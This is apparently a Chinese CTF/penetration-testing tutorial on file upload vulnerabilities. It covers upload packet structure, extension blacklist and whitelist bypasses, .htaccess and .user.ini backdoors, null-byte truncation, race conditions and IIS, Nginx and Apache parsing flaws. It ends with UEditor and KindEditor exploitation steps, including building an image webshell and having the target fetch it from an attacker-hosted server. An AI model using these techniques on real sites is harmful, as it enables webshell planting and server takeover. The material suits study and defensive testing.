前言

22年春天跟着学长学ctf的时候写的文章,写的很烂,后来打了不少iis系统,遇到了不少文件上传的漏洞,并且之前这篇文章在php标签下面,不准确而且文件类型的漏洞完全可以当成一个专题来写,比如文件内容检测,文件上传后缀名检测,文件上传位置的获取和限制等,所以重写了这篇文章。

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。

微信图片_20220205192532

获取文件的信息

当我们找到了一个文件上传接口,兴冲冲的上传一个文件上去,我们的文件会以怎么样的一种方式上传上去的那,系统又会怎么操作我们上传的文件,这里用之前写的php文件上传做示例

文件上传数据包解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxyz
.......

------WebKitFormBoundaryxyz
Content-Disposition: form-data; name="desc"

个人简介
------WebKitFormBoundaryxyz

------WebKitFormBoundaryxyz
Content-Disposition: form-data; name="file1"; filename="2.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(123);
</script>
</svg>
------WebKitFormBoundaryxyz--

字段的分割符 必须和 Content-Type 里的 boundary保持一致。然后开头 – 固定要加,结尾再加 – 表示结束。
可以看出文件上传本质上是表单的一个字段,实例中的”file1”为字段名

Content-Disposition:数据来源,form-data表示接收的是表单数据
name:表单参数值需要和后端对应,不能更改
filename:文件名,可以更改
Content-Type:数据类型,视情况更改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
MIME值	                            含义
text/plain 纯文本
text/html HTML文档
text/javascript js代码
application/xhtml+xml XHTML文档
image/gif GIF图像
image/jpeg JPEG图像
image/png PNG图像
video/mpeg MPEG动画
application/octet-stream 二进制数据
application/pdf PDF文档
application/(编程语言) 该种语言的代码
application/msword Microsoft Word文件
message/rfc822 RFC 822形式
multipart/alternative HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示
application/x-www-form-urlencoded POST方法提交的表单
multipart/form-data POST提交时伴随文件上传的表单

$_FILES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
if ($_FILES["file1"]["error"] > 0)//name=file
{
echo "错误:" . $_FILES["file1"]["error"] . "<br>";
}
else
{
echo "上传文件名: (包括后缀)" . $_FILES["file1"]["name"] . "<br>";
echo "文件类型:(对应字段的Content-Type) " . $_FILES["file1"]["type"] . "<br>";//浏览器根据后缀设置的打开方式,如 Content-Type: image/jpeg
echo "文件大小(单位为字节): " . ($_FILES["file1"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置(当文件上传时会被临时存放在一个随机文件里): " . $_FILES["file1"]["tmp_name"];
move_uploaded_file($_FilES['file1']['tmp_name'],$newfile);//将上传的文件移动到新位置,$newfile为新文件的相对路径
}
?>
```
### 不能作为文件名的字符
为了和路径区分,一些字符是不被允许当作文件名的
Windows: **\ / : * ? " < > ASCII 0-31**
Linux: **/、\0(NULL)**


如果文件名里出现了这些信息,出现位置前的内容都会被去掉,这样的设定一定程度上限制了文件上传漏洞的利用,如上传到/tmp目录下,而php工作目录在/www,无法用网址解析,则不存在文件上传漏洞

文件名中危险字符的判断最终由 OS 决定,所以大部分文件上传函数都不会处理文件名里的字符,如`$_FILES['userfile']['name']` 不会 自动去除或过滤文件名中的 ../ 或其他路径遍历片段;它原样返回浏览器提交的 filename 值


## 黑名单

### 黑名单后缀检测绕过
一般分为两种,一种是代码层次的黑名单绕过,及在检测后缀后,有可能存在修改,如检测后修改文件名,就有可能把后缀一起修改了

第二种是系统与代码解析差异导致的绕过,如win不区分大小写,Windows中文件后缀名.系统会自动忽略
```php
$file_name = deldot($file_name);//删除文件名末尾的点 Windows中文件后缀名.系统会自动忽略,点号绕过
$file_ext = strrchr($file_name, '.');//提取后缀
$file_ext = strtolower($file_ext); //转换为小写 win大小写不敏感,大小写绕过
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空 空格绕过
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}


if(!exif_imagetype($tmp_name)) die("^_^"); //读取一个图像的第一个字节并检查其签名。
//返回一个数组,索引 0 和 1 分别包含图像的宽度和高度,索引 2 是表示图像类型的某个 IMAGETYPE_XXX 常量。
$info = @getimagesize($tmp_name);
if (false === $info || (IMAGETYPE_GIF === $info[2] && empty($info['bits']))) {
throw new ImageException('Illegal image file');
}

在window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

存在其他有可能正常解析的后缀

PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
.php, .php3, .php4, .php5, .php7 这些后缀如果,php 版本x> .phpy的y,则可以使用
.phps,高亮源码显示,不执行脚本,通常只做源码查看

ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
IIS6.0:下可以当asp执行的有asa,cer,cdx
Cer在7.0下有的可以有的不行。
Asa在IIS7.0,7.5也可以。

Jsp: .jsp, .jspx, .jsw, .jsv, .jspf
Tomcat<=4.x ,默认执行:.jsp
Tomcat>=5.x 可以执行 .jspx,.jspf 依然只作为 include 文件,不能直接执行

exif_imagetype@getimagesize($tmp_name)[2]可以通过抓包将文件内容的开头加上GIF89a(一种GIF标识)的方法绕过

利用自定义解析绕过黑名单

Apache的.htaccess

从安全性考虑,根目录的AllowOverride属性一般都配置成None不允许任何Override,需要更改文件 /etc/apache2/apache2.conf

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置,利用Apache的rewrite模块对URL进行重写,rewrite规则会写在 .htaccess 文件里

1
2
3
4
5
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>

需要用到的代码如下:

1
2
3
4
5
6
<FilesMatch "匹配内容">
Sethandler application/x-httpd-php //按照PHP文件来执行
</Eilesmatch >

AddType application/x-httpd-php .htm,则.htm文件也可以执行php程序
AddHandler cgi-script .yyy 则扩展名为.yyy的文件作为 CGI 脚本来处理

实战意义:

1、如果存在可以上传 .htaccess 文件,就可以直接利用此规则解析;

2、如果存在修改文件权限,就直接修改解析规则;

.user.ini留后门

.htaccess是伪静态环境配置文件,用于lamp。
.user.ini是lnmp文件,里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取.
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。
跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache
使用方法很简单,直接写在.user.ini中:

1
2
GIF89a
auto_prepend_file=shell.jpg

11.gif是要包含的文件。

1
2
3
auto_prepend_file 在文顶部插入加载文件;

auto_append_file 在文件最后插入加载文件(当文件调用的有exit()时该设置无效

我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

白名单

绕过白名单的方法同样适用于黑名单

1
2
3
4
5
6
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

php老版本文件截断绕过

1
include('files/'.$action.'.php'); //载入相应文件

00截断绕过

要求:
php<5.3.4 magic_quotes_gpc=off(默认on,5.4以后该选项被移除)
检测原理:
有很多0x00,%00,/00之类的截断,但是核心都在chr(0)这个字符,它可以返回ascii字符,所以chr(0)表示的是null,如果变量是从用户$_GET或$_POST中获得的并且我们可控,那么我们可以利用空字符\x00来截断后面的拓展名,从而造成任意文件上传。

长度截断绕过

要求:
php版本<=5.2.8
linux 需要文件名长于 4096,windows 需要长于 256,超过部分会被丢弃从而实现文件包含绕过后缀.php限制

竞争上传

检测原理:

1
2
3
4
5
6
7
$upload_file = $UPLOAD_ADDR . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;

文件先经过保存 ,然后判断后缀名是否在白名单中, 如果不在则删除. 此时可以利用条件竞争在保存文件后删除文件前来执行php文件

中间件解析漏洞

IIS
6.0 一般windows server 2003
7.0/7.5 一般windows server 2008,并且开始支持 ASP.NET
8.0/8.5 一般windows server 2012
10.0 一般windows server 2016

IIS5.x-6.x解析漏洞

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;所以该解析漏洞也只能解析asp文件,而不能解析aspx文件。

目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理::服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

文件解析(5.0/6.0)
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

IIS 7.0、IIS 7.5、Nginx(engine x) <8.03 畸形解析漏洞

漏洞原理
在默认Fast-CGI开启状况下,当访问 www.xx.com/phpinfo.jpg/1.php 这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析。这就要说到fix_pathinfo这个选项了, 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:

PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了。

漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

另外一种手法:上传一个名字为test.jpg,以下是文件的内容:
‘);?>
然后访问 test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

Nginx(engine x)< 0.8.03 空字节代码 解析漏洞

影响版:0.5、0.6、0.7<= 0.7.65、0.8 <= 0.8.37
Nginx在图片中嵌入PHP代码然后通过访问
xxx.jpg%00.php
来执行其中的代码;

apache 1.x , 2.x解析漏洞

漏洞原理
Apache在解析文件名的时候是从右向左读
例如:test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把test.php.owf.rar解析成php。

Apache%0A解析截断(Apache2.4.0到2.4.29)

如上传a.php,然后在burp中修改文件名为a.php\x0A

富文本编辑器的利用

ueditor

UEditor .net版本<= v1.4.3.3

验证码漏洞是否存在:拼接漏洞URL地址:
UEditor/net/controller.ashx?action=catchimage
显示{“state”:”参数错误:没有指定抓取源”},就基本确定存在漏洞了

/xsgl/ueditorUE//net/config.json 查看上传的限制

1
2
3
4
#生成图片马,注意后缀需要是图片格式
copy normal.jpg/b+shell.aspx/a shell.jpg
#打开web服务
python -m SimpleHTTPServer 8888

使用post方式传入我们的图片路径

1
2
3
4
<form action="http://IP:port/ueditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit"/>
</form>

输入
http://XXXX:8888/shell.jpg?.aspx

http://XXXX:8888/shell.jpg#.aspx
他请求的还是shell.jpg,但是后面.aspx会被ueditor截取充当后缀

/net/controller.ashx?action=listfile

kindeditor

kindeditor<=4.1.1
下述路径若存在则存在漏洞

1
2
3
4
kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file